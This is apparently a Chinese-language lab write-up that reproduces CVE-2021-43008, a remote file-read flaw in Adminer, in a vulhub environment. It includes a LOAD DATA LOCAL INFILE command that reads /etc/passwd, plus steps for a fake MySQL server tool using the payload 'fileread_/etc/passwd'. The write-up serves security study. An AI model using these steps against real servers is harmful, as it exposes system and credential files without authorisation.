漏洞介绍

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。CVE-2021-43008是一个远程文件读取漏洞,攻击者可以通过构造恶意的MySQL服务器和用户名,利用Adminer的LOAD DATA LOCAL功能读取服务器上的任意文件。

漏洞范围

Adminer 1.12.0到4.6.2

漏洞靶场

使用vulhub的靶场

vulhub-master/adminer/CVE-2021-43008

1
docker-compose up -d

漏洞原理

该漏洞是由于Adminer在处理MySQL的LOAD DATA LOCAL功能时,未对用户输入的文件路径进行充分验证,导致攻击者可以通过构造恶意的MySQL服务器和用户名,读取服务器上的任意文件。

  1. 为了应用此漏洞,攻击者需要访问Adminer 的登录页面并操控 MySQL 数据库:就是说攻击者已经得到了这个数据库的账号和密码,能够用Adminer远程连接。

  2. 攻击者进入Adminer上的“SQL Command”页面:连接后使用SQL 命令在下一步对本地文件进行操控和读取。

  3. 运行以下 SQL 命令,攻击者可以读取 Adminer 上的本地文件并将其加载到他的远程数据库中:

    1
    LOAD DATA local INFILE '/etc/passwd' INTO TABLE lfr_sink_table fields TERMINATED BY "n";

    LOAD DATA INFILE作用是可以把文件读入到数据库的某个表里,如果在远程连接状态下使用了LOCAL关键字,即LOAD DATE LOCAL INFILE,那么就会快速读取本地文件到数据库,又因为攻击者已经操控了这个数据库,所以先读取本地文件到数据库,再在第四步中对数据库文件进行查看。

  4. 完成此操作后,攻击者可以运行以下命令检查读取文件的内容SELECT * FROM lfr_sink_table;这样就实现了Adminer远程文件读取。

漏洞复现

访问 http://127.0.0.1:8080/ 进入靶场页面

image-20250302194945801

exp使用

GitHub - 4ra1n/mysql-fake-server: MySQL Fake Server (纯Java实现,支持GUI版和命令行版,提供Dockerfile,支持多种常见JDBC利用)

image-20250302200501640

image-20250302200553737

输入server为启动exp的ip,username为复制的payload:fileread_/etc/passwd,点击登录

image-20250302200720823

此时在启动exp的文件夹下会生成读取的文件

image-20250302200800346

复现成功

参考

CVE-2021-43008 vulhub 环境利用复现-CSDN博客